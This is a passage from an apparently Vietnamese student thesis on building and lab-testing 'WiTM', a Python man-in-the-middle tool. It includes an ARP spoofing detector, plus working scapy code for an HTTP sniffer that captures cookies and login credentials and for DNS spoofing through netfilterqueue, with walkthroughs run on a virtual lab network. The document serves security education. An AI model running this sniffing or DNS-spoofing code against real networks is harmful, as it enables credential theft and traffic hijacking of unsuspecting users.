diện mạng đó và tìm kiếm các gói tin ARP. Khi phát hiện thấy có gói tin ARP được
gửi đến máy tính của người sử dụng, công cụ sẽ bắt đầu kiểm tra gói tin ARP theo
lưu đồ sau đây.

35
Hình 2.16. Lưu đồ xử lý gói tin ARP và phát hiện tấn công ARP Spoofing
Theo hình 2.4, với mỗi gói tin ARP gửi đến, công cụ phải kiểm tra địa chỉ
MAC nguồn của gói tin đó và địa chỉ MAC trong trường Sender MAC address
trong gói tin ARP có giống nhau hay không. Nếu không, công cụ sẽ thông báo rằng
đang có tấn công ARP Spoofing nhằm vào máy người sử dụng công cụ. Nếu hai địa
chỉ đó giống nhau, công cụ sẽ gửi một gói tin ICMP Request đến địa chỉ IP có
trong trường Sender IP của gói tin ARP bắt được đó. Sau khi nhận được gói tin

36
ICMP reply, công cụ sẽ có được địa chỉ MAC của máy gửi trong gói tin và so sánh
nó với địa chỉ MAC nguồn có trong gói tin ARP reply đã lắng nghe được trước đó.
Nếu khác nhau, điều đó có nghĩa là có kẻ đang tấn công ARP spoofing vào máy
người sử dụng, công cụ sẽ báo về cuộc tấn công và địa chỉ IP đang bị giả mạo cùng
địa chỉ MAC lên màn hình.
Để lựa chọn chức năng này, chọn option 3.
II.2.3.2. Thiết kế
Để sử dụng chức năng, chức năng yêu cầu người dùng nhập vào tên của giao
diện mạng mà người dùng muốn lắng nghe. Khi đó, cần phải tạo ra một hàm có
chức năng kiểm tra xem giao diện mạng người dùng nhập có tồn tại hay không.
Phần lập trình hàm kiểm tra này sẽ được chỉ rõ hơn ở phần phục lục 2.

def ARP_sniffer():
global current_MAC
current_MAC = ""
while True:
try:
interface = str(raw_input("[*] Interface: "))
if interface_check(interface):
current_MAC = get_current_MAC(interface)
print("[!] ARP Spoofing detector running...Press Ctrl
+ C to stop!")
scapy.sniff(iface=interface, store=False,
prn=spoof_detector)
else:
print("[!] Unknown interface! Please try again...")
continue
except KeyboardInterrupt:
print("\n[!] Exitting...")
break

Ở hàm ARP_sniffer, sau khi người dùng nhập vào giao diện mạng, công cụ
sử dụng hàm interface_check để kiểm tra. Nếu hợp lệ, công cụ sẽ lấy địa chỉ MAC
hiện tại của giao diện mạng đó và bắt đầu lắng nghe các gói tin bằng hàm sniff có
sẵn của scapy, nếu không công cụ yêu cầu người dùng nhập lại. Trong hàm sniff,
công cụ sẽ chỉ dẫn hàm xử lý các packet lắng nghe được đến hàm spoof_detector ở
tham số prn.
37
def spoof_detector(packet):
try:
if packet.haslayer(scapy.ARP) and packet[scapy.ARP].hwsrc !
= current_MAC:
sender_mac = packet[scapy.ARP].hwsrc
src_mac = packet[scapy.Ether].src
sender_ip = packet[scapy.ARP].psrc
if sender_mac != src_mac:
print("[!] Attack occured!")
print("[+] Attacker's MAC: " + sender_mac + "\
tSpoofed IP: " + sender_ip)
else:
icmp =
scapy.Ether(dst="ff:ff:ff:ff:ff:ff")/scapy.IP(dst=sender_ip)/scap
y.ICMP()
answered_list = scapy.srp(icmp, verbose=False,
timeout=0.5)[0]
real_mac = answered_list[0][1].src
if sender_mac != real_mac:
print("[!] Attack occured!")
print("[+] Attacker's MAC: " + sender_mac + "\
tSpoofed IP: " + sender_ip)
except Exception as e:
pass

Ở trong hàm spoof_detector, công cụ lắng nghe những gói tin có sử dụng
giao thức ARP, và có địa chỉ MAC nguồn không phải là địa chỉ MAC của máy
người sử dụng công cụ. Những gói tin nào thỏa mãn điều kiện đó, công cụ sẽ so
sánh địa chỉ MAC nguồn và địa chỉ MAC có trong trường Sender MAC của gói tin
ARP. Nếu không giống nhau, công cụ sẽ cảnh báo người dùng rằng có cuộc tấn
công đang xảy ra. Nếu hai địa chỉ giống nhau, công cụ tiếp tục kiểm tra gói tin kỹ
hơn. Công cụ sẽ lấy địa chỉ IP trong trường Sender IP của gói tin ARP và gửi một
gói tin ICMP Request đến địa chỉ IP đó. Nếu không có gói tin trả về, công cụ sẽ bỏ
qua gói tin ARP này. Nếu có gói tin ICMP Reply trả về, công cụ sẽ so sánh địa chỉ
MAC nguồn của gói tin ICMP Reply với địa chỉ MAC trong trường Sender MAC
của gói tin ARP. Nếu 2 địa chỉ không giống nhau, công cụ sẽ cảnh báo người dùng
rằng đang máy tính đang bị tấn công ARP Spoofing. Nếu hai địa chỉ giống nhau,

38
vậy có nghĩa là không có cuộc tấn công ARP Spoofing nào đang nhằm vào người
sử dụng công cụ cả.
Vậy chức năng ARP Spoofing detector đã xây dựng xong.
II.2.4. Lắng nghe HTTP (HTTP Sniffer)
II.2.4.1. Phân tích
HTTP Sniffer được xây dựng với tác dụng là lắng nghe các gói tin HTTP
Request đến máy tính đang sử dụng công cụ và thu thập các thông tin quan trọng
như URL, cookie và thông tin đăng nhập.

Hình 2.17. Lưu đồ mô tả hoạt động lắng nghe của chức năng HTTP Sniffer
Hình 2.5 trên là lưu đồ mô tả hoạt động của chức năng nghe lén HTTP, cụ
thể như sau:

39
 Bước 1: Trước khi chạy chức năng, công cụ yêu cầu người dùng nhập vào
giao diện mạng mà người dùng muốn lắng nghe và kiểm tra xem giao diện
mạng đó có hợp lệ không. Nếu không, công cụ yêu cầu người dùng nhập lại.
 Bước 2: Nếu giao diện mạng nhập vào hợp lệ, công cụ sẽ dò tìm tất cả các
gói tin HTTP Request và thu thập các thông tin từ các gói tin đó. Trong quá
trình dò tìm, công cụ cũng cần phải xác định những thông tin quan trọng để
cảnh báo cho người dùng, như cookie liên quan đến session, các tham số
được truyền trên HTTP liên quan đến thông tin đăng nhập, … Để làm được
điều này, cần phải tạo dựng cho chức năng này một danh sách những từ khóa
có thể gặp đối với từng thành phần của gói tin. Từ đây, công cụ có thể so
sánh danh sách này với dữ liệu thu được trong từng gói tin và cảnh báo
người dùng.
 Bước 3: Nếu không tìm được gói tin HTTP Request, chương trình sẽ tiếp tục
lắng nghe cho đến khi người dùng ngắt chức năng đó.
Để lựa chọn chức năng này, chọn option 4.
II.2.4.2. Thiết kế
Trước khi xây dựng hàm để lắng nghe các gói tin HTTP, công cụ yêu cầu
người dùng nhập vào giao diện mạng muốn lắng nghe và kiểm tra chúng giống như
chức năng ARP Spoofing detector ở trên.

def start():
while True:
try:
interface = raw_input("[*] Input interface used for
sniff: ")
if interface_check(interface):
http_sniff(interface)
else:
print("[!] Unknown interface! Please try again...!")
continue
except KeyboardInterrupt:
print("\n[!] Exitting...!")
break

40
Sau khi dữ liệu được nhập vào hợp lệ, xây dựng hàm lắng nghe gói tin
http_sniff với tham số truyền vào là interface, là giao diện mạng mà người dùng
nhập vào.

def http_sniff(interface):
scapy.sniff(iface=interface, store=False,
prn=packet_processor)

Trong hàm http_sniff, công cụ cũng sử dụng hàm sniff có sẵn trong scapy để
thực hiện việc lắng nghe. Hàm packet_processor sẽ là hàm được sử dụng để xử lý
các gói tin lắng nghe được.

def packet_processor(packet):
if packet.haslayer(http.HTTPRequest):
print("\n### " + packet[scapy.IP].src + "###")
process_url(packet)
process_cookie(packet)
if packet.haslayer(scapy.Raw):
login_info = get_login_info(packet)
if login_info:
print(colored("\n[!] Possible login info: " +
login_info + "\n", 'red'))

Trước khi xây dựng hàm này, công cụ cần phải sử dụng module của
scapy_http để có thể nhận biết được các gói tin HTTP request có trong gói tin.
Công cụ cũng cần sử dụng module termcolor để in màu cho các thông tin thu được,
giúp người dùng nhận biết rõ ràng hơn. Trong hàm này, công cụ kiểm tra xem các
gói tin nhận được có phải là gói tin HTTP request hay không. Nếu đúng vậy, công
cụ sẽ xử lý chúng bằng các hàm process_url, process_cookie nhằm lấy được các
thông tin trong gói tin như url, cookie. Trong các hàm đó, công cụ sẽ định nghĩa
các dấu hiệu trong một danh sách, nhằm cảnh báo cho người dùng những thông tin
về các cookie, url quan trọng. Ngoài ra, công cụ cũng có hàm get_login_info nhằm
kiểm tra xem người dùng có truyền các thông tin đăng nhập hay không. Chi tiết về
các hàm này sẽ được trình bày rõ hơn ở phần phụ lục 5.
Vậy chức năng HTTP Sniffer đã được xây dựng xong

41
II.2.5. DNS Spoofing
II.2.5.1. Phân tích
Chức năng này được xây dựng nhằm giúp người sử dụng có thể thực hiện
được tấn công DNS Spoofing, chuyển hướng các tên miền đến các địa chỉ IP mà
người sử dụng đã định danh.

Hình 2.18. Lưu đồ xử lý dữ liệu đầu vào và chặn bắt gói tin của chức năng DNS
Spoofing

42
Hình 2.6 trên là lưu đồ mô tả cách công cụ tiếp nhận thông tin đầu vào và
lắng nghe các gói tin được truyền đến máy. Đầu tiên, công cụ yêu cầu người dùng
nhập vào danh sách các tên miền muốn giả mạo cùng với địa chỉ muốn chuyển
hướng đến. Sau khi tiếp nhận dữ liệu vào, công cụ hiện lên danh sách các cặp
domain/IP hợp lệ, đồng thời xây dựng một hàng đợi nhằm chặn bắt các gói tin đến
máy tính của người sử dụng công cụ. Trong hàng đợi đó, công cụ có thể tương tác
và xử lý các gói tin đó theo ý muốn. Ở đây, công cụ sẽ chú trọng đến các gói tin
DNS Response, trả lời gói DNS Query từ trước của nạn nhân. Nếu không tìm thấy
gói tin DNS Response, gói tin đó sẽ được truyền đi tiếp. Nếu gói tin chặn được là
gói tin DNS Response, công cụ chặn gói tin này và xử lý nó theo hình 2.7 sau đây:

Hình 2.19. Lưu đồ mô tả cách xử lý gói tin DNS Response của chức năng DNS
Spoofing
43
Trong hàng đợi đã tạo, công cụ lắng nghe và chỉnh sửa các gói tin DNS
Response, thay đổi địa chỉ đã phân giải từ máy chủ DNS hợp lệ thành địa chỉ của
trong danh sách nhập vào rồi truyền lại cho nạn nhân. Từ đó nạn nhân sẽ thao tác
với máy tính có địa chỉ IP đã được định danh cùng với tên miền đi cùng nó, đồng
thời lắng nghe các sự kiện đến địa chỉ IP đó. Tuy nhiên, để thực hiện được tấn công
này, người dùng phải thành công trong việc trở thành MiTM để có thể lắng nghe
các sự kiện của nạn nhân.
Để lựa chọn chức năng này, chọn option 5.
II.2.5.2. Thiết kế
Trước khi xây dựng chức năng, công cụ cần phải sử dụng module scapy
dùng để tạo và sửa gói tin, module os để thực thi lệnh tạo hàng đợi trong iptables và
module netfilterqueue để liên kết hàng đợi trong iptables, giúp tương tác với các
gói tin bắt được. Đầu tiên, xây dựng hàm lấy dữ liệu nhập vào từ người dùng đề
truyền vào hàm tấn công.

def input_list():
global domain_ip_list
domain_ip_list = []
while True:
try:
try:
input_string = str(raw_input("[*] Input domain/IP
pairs: "))
pair_list = input_string.split(";")
except Exception as e:
print("[!] Error! " + str(e))
continue
for element in pair_list:
pair = element.split("/")
if ipaddr_check(pair[1]):
domain_ip = {"Domain":pair[0], "IP":pair[1]}
domain_ip_list.append(domain_ip)
print("[+] Domain: " + pair[0] + "\t\tIP: " +
pair[1])
else:
print("[!] Error at pair " + element)

return domain_ip_list
44
except KeyboardInterrupt:
print("\n[!] No input!")
break
return ""

Ở đây, công cụ cần tạo ra một global list tên là domain_ip_list, dùng để lưu
các domain/IP được nhập vào và yêu cầu người dùng nhập vào dữ liệu dưới dạng
tên miền 1/IP1;tên miền 2/IP2; … Sau khi nhập, công cụ kiểm tra địa chỉ IP người
dùng nhập vào và đưa ra các cặp tên miền và địa chỉ IP hợp lệ. Tiếp tục, xây dựng
hàm DNS_spoofing để khởi tạo các tham số cần thiết.

def DNS_spoofing():
try:
output = input_list()
if output != "":
queue = netfilterqueue.NetfilterQueue()
os.system('iptables -I FORWARD -j NFQUEUE --queue-num
0')
queue.bind(0, dns_spoofer)
print("[!] DNS Spoofing attack running...")
queue.run()
except KeyboardInterrupt:
print("\n[!] DNS Spoofing attack ended!")
queue.unbind()
os.system('iptables -D FORWARD -j NFQUEUE --queue-num 0')

Trong hàm này, công cụ sẽ lấy kết quả của hàm input_list trên để kiểm tra
xem danh sách được nhập vào có rỗng không. Nếu không, tạo hàng đợi bằng
netliterqueue và sử dụng hàm dns_spoofer để xử lý các gói tin đến hàng đợi đó.
Đồng thời, sử dụng hàm system trong module os để thực thi lệnh tạo hàng đợi, ở
đây công cụ sẽ sử dụng hàng đợi 0. Sau khi tạo xong hàng đợi, để chạy nó, sử dụng
hàm run. Nếu người dùng sử dụng Ctrl + C, ngắt quá trình tấn công DNS spoofing,
công cụ sẽ thả hàng đợi ra khỏi hàm dns_spoofer và xóa hàng đợi 0 trong iptables
bằng hàm system.

def dns_spoofer(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
req_name = scapy_packet[scapy.DNSQR].qname

45
for element in domain_ip_list:
if element["Domain"] in req_name:
print("[+] Spoofing target: " + req_name)
answer = scapy.DNSRR(rrname=req_name,
rdata=element["IP"])
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount = 1

del scapy_packet[scapy.IP].len
del scapy_packet[scapy.IP].chksum
del scapy_packet[scapy.UDP].len
del scapy_packet[scapy.UDP].chksum

packet.set_payload(str(scapy_packet))

if scapy_packet.haslayer(scapy.Raw) and
scapy_packet.haslayer(http.HTTPRequest):
print(scapy_packet[scapy.Raw].load)

packet.accept()

Trong hàm dns_spoofer, công cụ phải chuyển đổi gói tin thành dạng scapy
do các gói tin bắt trong module netfilterqueue không có dạng scapy. Công cụ sẽ
chuyển đổi chúng bằng hàm IP của scapy và tham số truyền vào là payload của gói
tin, đặt tên gói tin được chuyển đổi là scapy_packet. Từ đây, công cụ sẽ tương tác
với scapy_packet thay vì tương tác với gói tin gốc. Nếu scapy_packet có chứa
thông tin trả lời (DNSRR), công cụ sẽ chỉnh sửa dữ liệu trả về bằng cách giữ tên
miền được truy vấn và thay thế địa chỉ IP được trả về bằng địa chỉ IP người dùng
định nghĩa ở phần trên, lưu chúng vào biến answer. Từ đây thay thế trường dữ liệu
trả lời “an” bằng biến answer vừa tạo và thay đổi số lượng câu trả lời thành 1 do chỉ
tạo ra một dữ liệu phản hồi cho tên miền đó. Ngoài ra, cũng cần phải xóa các dữ
liệu chksum và độ dài của gói tin để scapy có thể tính toán lại. Sau khi thay đổi
xong, thay thế payload cũ bằng biến scapy_packet công cụ tương tác lúc trước bằng
hàm set_payload của netfilterqueue, chuyển tiếp chúng đến IP của mục tiêu. Vậy
khi người dùng đăng nhập vào tên miền có trong danh sách của người sử dụng công
cụ, công cụ có thể chuyển hướng nạn nhân đến bất kỳ địa chỉ IP nào người dùng
muốn.
46
Chức năng tấn công DNS Spoofing đã được xây dựng xong.
II.2.6. Trợ giúp
Chức năng này cung cấp cho người dùng một số thông tin quan trọng liên
quan đến các chức năng do thám, tấn công ở trên, hướng dẫn người dùng sử dụng
từng chức năng và cách nhập dữ liệu cho các chức năng để đảm bảo công cụ không
bị lỗi khi sử dụng. Chi tiết về chức năng này sẽ được trình bày rõ hơn ở phần phụ
lục 7.
Để lựa chọn chức năng này, chọn option 6.

47
CHƯƠNG III: THỬ NGHIỆM ĐÁNH GIÁ AN TOÀN MẠNG
III.1. Chuẩn bị
III.1.1. Hướng dẫn cài đặt công cụ
Trong quá trình xây dựng công cụ ở trên, công cụ phải sử dụng một số thư
viện bên thứ ba, không có sẵn trong python. Do đó, để có thể sử dụng được công cụ
trên, cần phải tải và cài đặt những module đó trước khi chạy. Đầu tiên, cần phải cài
đặt Pip, một trình quản lý thư viện Python, rất có ích trong việc cài đặt và gỡ bỏ các
thư viện hay framework bên thứ 3. Đồ án sẽ chỉ rõ về cách cài đặt Pip như sau:
Trên Kali Linux và Ubuntu:
 Python 2.x: sudo apt install python-pip
 Python 3.x: sudo apt install python3-pip
Sau khi cài đặt xong pip, người sử dụng cần cài đặt các thư viện cần thiết cho
chương trình. Để cài đặt công cụ, vào trong thư mục chính của công cụ và sử dụng
câu lệnh sau ở cửa sổ terminal:
# pip install –r requirement.txt
Sau khi cài đặt các thư viện cần thiết, công cụ có thể bắt đầu sử dụng bằng
cách chạy script WiTM.py.

Hình 3.20. Giao diện công cụ WiTM


III.1.2. Thiết lập mô hình thử nghiệm
Trong phần này, một mô hình mạng sẽ được thiết kế bao gồm các máy ảo,
nhằm phục vụ các thử nghiệm trên đó.

48
Hình 3.21. Mô hình mạng thử nghiệm
Mô hình mạng xây dựng gồm 2 máy, 1 máy của kẻ tấn công và 1 máy của
nạn nhân:
 Máy của kẻ tấn công: Sử dụng hệ điều hành Kali Linux và đã cài đặt công cụ
WiTM trên máy. Địa chỉ IP là 192.168.1.15.
 Máy của nạn nhân: Sử dụng hệ điều hành Windows 7. Địa chỉ IP là
192.168.1.10.
 Địa chỉ Gateway là 192.168.1.1.
 Địa chỉ mạng là 192.168.1.0/24.
Tất cả các máy sẽ được ảo hóa và xây dựng trên phần mềm VMWare
Workstation. Trước khi sử dụng các máy ảo, cần phải thay đổi card mạng chúng
đang sử dụng sang chế độ NAT để tránh việc quét phải các máy có trong mạng
thật. Tiếp đó, phải cài đặt địa chỉ mạng NAT bằng cách vào phần Edit > Virtual
Network Editor > Change Settings. Khi đó sẽ xuất hiện cửa sổ sau:

49
Hình 3.22. Cửa sổ Virtual Network Editor trong VMWare Workstation
Trong hình 3.3, chọn card NAT và điều chỉnh các cấu hình của card NAT
giống như hình trên. Để cấu hình địa chỉ Gateway, vào mục NAT Setting:

Hình 3.23. Cửa số NAT Settings trong VMWare Workstation


Vào cửa sổ như hình 3.4, vào phần Gateway IP và nhập địa chỉ Gateway của
mô hình mạng được xây dựng vào. Khi cấu hình xong, nhấn OK để kết thúc.
50
Vậy mô hình mạng đã được thiết kế xong, đồng thời xây dựng được các máy
ảo cần thiết cho việc thử nghiệm công cụ. Ở phần sau, bắt đầu thử nghiệm từng
chức năng của công cụ được xây dựng và quan sát tác động cũng như kết quả của
nó lên mạng và máy nạn nhân.
III.2. Thử nghiệm đánh giá an toàn mạng
III.2.1. Khái niệm về đánh giá an toàn mạng
Những hệ thống mạng luôn tồn tại những điểm yếu bảo mật mà tin tặc có thể
lợi dụng khai thác để phá hoại. Do đó, các tổ chức cần phải đi trước tin tặc một
bước, cụ thể là tìm ra điểm yếu trong hệ thống mạng của đơn vị và khắc phục
những điểm yếu đó trước khi thực sự bị tấn công bởi tin tặc. Tuy nhiên, việc đánh
giá định kỳ hệ thống mạng của một tổ chức rất phức tạp, và đòi hỏi tính khách quan
cao nên các tổ chức đã hướng đên việc sử dụng các dịch vụ đánh giá an toàn mạng
Đánh giá an toàn mạng là hình thức kiểm tra hệ thống mạng có thể bị tấn công
hay không, bằng cách đóng vai tin tặc và giả lập các cuộc tấn công thử nghiệm vào
hệ thống mạng. Các mục tiêu chính của công việc đánh giá an toàn mạng bao gồm:
 Xác định các điểm yếu bảo mật trong hệ thống mạng.
 Đưa ra các khuyến nghị và các phương pháp khắc phục cho các điểm yếu tìm
ra trong quá trình đánh giá.
 Kiểm tra, đánh giá nhận thức của người dùng khi xảy ra tấn công mạng vào
tổ chức.
Quá trình thực hiện các cuộc tấn công thử nghiệm được thực hiện theo các bước
sau:
 Bước 1: Do thám, tìm kiếm các thông tin quan trọng trong hệ thống mạng
như địa chỉ mạng, địa chỉ IP của các máy trong mạng, ….
 Bước 2: Dò quét và liệt kê các dịch vụ, hệ điều hành, lỗ hổng tồn tại trong hệ
thống mạng máy tính.

51
 Bước 3: Khai thác và thực hiện tấn công nhằm vào các điểm yếu tìm được ở
bước trên.
 Bước 4: Xây dựng báo cáo về các lỗ hổng đã bị khai thác và đưa ra các
khuyến nghị, giải pháp khắc phục lỗ hổng.
Ở phần tiếp theo, công cụ được xây dựng trong đồ án này sẽ được áp dụng
với mục tiêu đánh giá an toàn mạng máy tính được xây dựng ở hình 3.2 trước
tấn công Man-in-the-Middle.

III.2.2. Quét mạng (Network Scanner)


Trong phần này, chức năng quét mạng của công cụ WiTM sẽ được sử dụng
nhằm tìm kiếm địa chỉ IP và địa chỉ MAC của các thiết bị có trong mạng. Trong mô
hình mạng thử nghiệm, có 2 thiết bị, bao gồm cả máy tính của kẻ tấn công, do đó
công cụ sẽ phải tìm được thiết bị này và cả địa chỉ gateway của mạng. Chức năng
được sử dụng như sau:
 Bước 1: Sử dụng công cụ tấn công WiTM bằng cách chạy script WiTM.py ở
thư mục chính.
 Bước 2: Để sử dụng chức năng quét mạng, chọn 1. Lúc này, màn hình chính
sẽ báo chức năng quét mạng đang được sử dụng và bắt đầu nhận dữ liệu của
người dùng.

Hình 3.24. Chức năng Network Scanner được chọn


 Bước 3: Ở đây, nhập vào địa chỉ mạng máy tấn công và máy nạn nhân đang
ở trong. Trong trường hợp này, nhập 192.168.1.0/24. Sau khi nhập xong,
nhấn Enter, từ đây công cụ sẽ chạy và tìm kiếm tất cả các thiết bị kết nối có
trong mạng.

52
Hình 3.25. Kết quả sau khi quét của chức năng Network Scanner
 Bước 4: Sau khi quét xong, chương trình sẽ hiện lên địa chỉ IP và MAC của
các thiết bị có trong mạng theo dạng như hình 3.6, đồng thời hiện lên số kết
quả thu được trong quá trình quét mạng. Ở hình trên, chương trình cũng tìm
được địa chỉ Gateway 192.168.1.1 của mạng. So sánh kết quả đã thu được
trong hình 3.6 với địa chỉ MAC của Windows 7 trong hình 3.7 và thấy rằng 2
địa chỉ giống nhau.

Hình 3.26. Địa chỉ MAC của máy nạn nhân trên Windows 7.
Vậy chức năng quét mạng được xây dựng đã hoạt động chính xác. Tiếp theo,
công cụ sẽ được sử dụng để mô phỏng tấn công ARP Spoofing vào máy của nạn
nhân.
III.2.3. ARP Spoofing
Trong phần này, công cụ WiTM sẽ được sử dụng để thực hiện tấn công ARP
spoofing vào máy nạn nhân, khiến nạn nhân cập nhật sai bảng ARP và thay đổi
đường truyền của nạn nhân. Ở đây, công cụ khiến máy nạn nhân cập nhật nhầm địa

53
chỉ MAC của Gateway, khiến cho máy nạn nhân nghĩ rằng Gateway có địa chỉ
MAC là địa chỉ của máy tấn công. Để làm được vậy, thực hiện theo các bước sau:
 Bước 1: Ở màn hình chính, chọn 2, tương ứng với chức năng tấn công ARP
spoofing.

Hình 3.27. Chức năng ARP Spoofing được chọn.


Ở đây, trước khi bắt đầu sử dụng ARP Spoofing, công cụ sẽ kiểm tra xem
chức năng chuyển tiếp gói tin của Kali Linux đã được kích hoạt hay chưa. Nếu
chưa, công cụ sẽ tự động kích hoạt chức năng đó và bắt đầu nhận dữ liệu từ người
dùng.
 Bước 2: Tiếp theo, nhập địa chỉ IP của mục tiêu. Ở đây, nhập địa chỉ IP của
máy nạn nhân, là 192.168.1.15
 Bước 3: Nhập địa chỉ IP muốn giả mạo. Ở đây, máy tấn công muốn đứng
giữa đường truyền của nạn nhân và mạng Internet, vì vậy máy tấn công chọn
địa chỉ giả mạo là địa chỉ Gateway, là 192.168.1.1
 Bước 4: Sau khi đã nhập đầy đủ 2 địa chỉ IP, công cụ sẽ kiểm tra. Nếu sai,
công cụ sẽ yêu cầu nhập lại. Nếu dữ liệu đã được kiểm tra, công cụ sẽ thông
báo và bắt đầu tấn công ARP spoofing như hình 3.9.

Hình 3.28. Tấn công ARP Spoofing đang được thực hiện.
 Bước 5: Để kiểm tra tấn công ARP spoofing đã thành công chưa, chuyển
sang máy nạn nhân và kiểm tra bảng ARP, so sánh địa chỉ MAC của

54
Gateway và địa chỉ MAC ứng với địa chỉ IP của máy tấn công. Nếu 2 địa chỉ
đó giống nhau, điều đó có nghĩa là tấn công đã được thực hiện thành công.

Hình 3.29. Bảng ARP của máy nạn nhân khi bị tấn công ARP Spoofing.
Nhìn vào hình 3.10, địa chỉ MAC của máy tấn công và của Gateway đã
giống nhau. Vậy tấn công ARP đã thành công. Chức năng tấn công ARP Spoofing
vẫn sẽ tiếp tục cho đến khi kẻ tấn công dừng hoặc khi người dùng thoát khỏi công
cụ.
 Bước 5: Để có thể ngừng tấn công ARP Spoofing, chọn lại 2. Khi đó, công
cụ sẽ kiểm tra xem có cuộc tấn công nào đang được thực hiện hay không.
Nếu không, công cụ sẽ thực hiện tấn công như thường. Nếu có cuộc tấn công
đang được thực hiện, công cụ sẽ tắt cuộc tấn công đó và trả về kết quả như
hình 3.11.

Hình 3.30. Tấn công ARP Spoofing bị ngừng.


 Bước 6: Sau khi ngừng tấn công ARP Spoofing, công cụ cũng sẽ khôi phục
lại địa chỉ MAC của IP mà máy tấn công giả mạo trong bảng ARP của nạn
nhân.
Vậy thử nghiệm chức năng tấn công ARP Spoofing đã thành công. Tiếp
theo, máy tấn công sẽ nghe lén các thông tin được truyền trên giao thức HTTP của
nạn nhân khi kết nối với mạng Internet bằng chức năng HTTP Sniffer.

55
III.2.4. Nghe lén đường truyền HTTP (HTTP Sniffer)
Trong phần này, chức năng nghe lén HTTP của công cụ WiTM sẽ được sử
dụng để xem được các thông tin trên web được truyền trên giao thức HTTP từ phía
nạn nhân đến máy chủ Web ở ngoài mạng Internet. Ở đây, máy tính của kẻ tấn
công có thể thu các thông tin về nạn nhân như cookie, URL và các thông tin có thể
là thông tin đăng nhập của nạn nhân như sau:
 Bước 1: Thực hiện tấn công ARP Spoofing vào máy nạn nhân như ở phần
3.2.3.
 Bước 2: Ở màn hình chính, chọn 4. Trong chức năng này, nhập vào giao diện
mạng muốn lắng nghe, ở đây nhập eth0 như hình 3.12, sau đó nhấn Enter.

Hình 3.31. Chức năng HTTP Sniffer được chọn.


 Bước 3: Sau khi kích hoạt xong chức năng nghe lén, vào máy ảo Windows 7
để bắt đầu sử dụng web. Ở đây, nạn nhân vào trang web của học viện Kỹ
thuật Mật mã, có địa chỉ URL là http://actvn.edu.vn như hình 3.13.

Hình 3.32. Giao diện Website của học viện Kỹ thuật Mật mã.
56
 Bước 4: Sau khi vào trang web bên máy nạn nhân, máy tấn công thu được
kết quả sau:

Hình 3.33. Kết quả thu được khi người dùng vào trang web.
Ở đây, kẻ tấn công có thể thấy được các URL mà nạn nhân truy cập, đồng
thời các cookie mà nạn nhân truyền đi khi sử dụng trang web. Để dừng sử dụng
chức năng nghe lén, nhấn tổ hợp Ctrl + C.
Ở môt thử nghiệm khác, máy nạn nhân truy cập vào trang web
http://testphp.vulnweb.com/login.php có giao diện như hình 3.15.

Hình 3.34. Giao diện trang web có URL http://testphp.vulnweb.com/login.php.


57
Tiếp theo, nạn nhân đăng nhập vào trang web bằng tài khoản đã cho sẵn trên
trang web. Sau khi đăng nhập thành công, máy tấn công sẽ thu được thông tin đăng
nhập từ máy nạn nhân và đánh dấu đỏ thông tin đó như hình 3.16 dưới đây:

Hình 3.35. Kêt quả thu được khi người dùng đăng nhập vào trang web.
Vậy thử nghiệm chức năng nghe lén đường truyền HTTP đã thành công.
Tiếp theo, chức năng tấn công DNS Spoofing sẽ được thử nghiệm nhằm tấn công
và giả mạo trang web mà nạn nhân định truy cập.
III.2.5. DNS Spoofing
Ở phần này, chức năng DNS Spoofing của công cụ sẽ được thử nghiệm
nhằm tấn công vào máy nạn nhân, khiến cho máy nạn nhân kết nối nhầm máy chủ
Web, mặc dù tên miền không thay đổi. Thực hiện như sau:
 Bước 1: Thực hiện tấn công ARP Spoofing vào máy nạn nhân như đã thực
hiện ở phần 3.2.3.
 Bước 2: Ở màn hình chính, chọn 5. Ở đây, công cụ yêu cầu nhập các cặp tên
miền và địa chỉ IP theo định dạng sau: domain1/IP1; domain2/IP2; … trong
đó domain là tên miền muốn giả mạo và IP là địa chỉ IP muốn nạn nhân
chuyển hướng đến khi truy cập vào domain trên.

58
Hình 3.36. Chức năng DNS Spoofing được chọn
Ở đây, kẻ tấn công giả mạo 2 tên miền trên và chuyển hướng nạn nhân đến
địa chỉ IP của máy tấn công như hình 3.17. Nhấn Enter để tiếp tục.
 Bước 3: Sau khi nhấn Enter, công cụ sẽ kiểm tra các IP trong các cặp có
đúng định dạng hay không. Nếu không đúng, cặp đó sẽ bị loại. Sau khi kiểm
tra xong, công cụ sẽ hiện ra danh sách được nhập như hình 3.18 và bắt đầu
tấn công

Hình 3.37. Tấn công DNS Spoofing được thực hiện


 Bước 4: Ở máy nạn nhân, mở cửa sổ Terminal và gõ: nslookup
facebook.com. Máy nạn nhân sẽ cho kết quả như hình 3.19:

Hình 3.38. Kết quả nslookup trên máy nạn nhân với tên miền facebook.com
Vậy trên máy nạn nhân, tên miền facebook.com giờ sẽ tương ứng với địa chỉ
IP của máy tấn công. Tiếp tục ở máy nạn nhân, gõ tiếp nslookup Microsoft.com.

59
Hình 3.39. Kết quả nslookup trên máy nạn nhân với tên miền microsoft.com
Trên hình 3.20, có thể thấy rằng tên miền Microsoft.com tương ứng với địa
chỉ IP của máy tấn công, chứng tỏ rằng cả 2 tên miền đã bị đổi hướng sang máy của
kẻ tấn công
 Bước 5: Quay lại máy tấn công, các tên miền nào đang bị giả mạo sẽ được
hiện trên màn hình như hình 3.12

Hình 3.40. Giao diện của chức năng DNS Spoofing trong quá trình tấn công
Để kết thúc tấn công DNS Spoofing, nhấn tổ hợp Ctrl + C.
Vậy trong thử nghiệm này, tấn công DNS Spoofing đã được thực hiện thành
công vào máy nạn nhân sử dụng công cụ WiTM đã tạo.
III.2.6. Kết quả đánh giá an toàn mạng
Bằng cách sử dụng công cụ tấn công WiTM, kẻ tấn công đã thực hiện thành
công tấn công Man-in-the-Middle vào mô hình mạng thử nghiệm được xây dựng
trong hình 3.2. và có thể nghe lén và thay đổi các gói tin đến máy nạn nhân. Như
vậy, mô hình mạng thử nghiệm trên dễ bị tấn công bởi cuộc tấn công MiTM do
trong hệ thống mạng không có giải pháp phát hiện hay ngăn chặn tấn công này. Vì
vậy, ở chương 4, đồ án sẽ chỉ ra các giải pháp phòng chống và phát hiện tấn công
MiTM được sử dụng hiện nay.

60
CHƯƠNG IV: PHÒNG CHỐNG VÀ PHÁT HIỆN TẤN CÔNG MAN-
IN-THE-MIDDLE
IV.1. Một số biện pháp phòng chống và phát hiện tấn công MiTM
Phát hiện một cuộc tấn công Man-in-the-middle có thể khó khăn nếu không
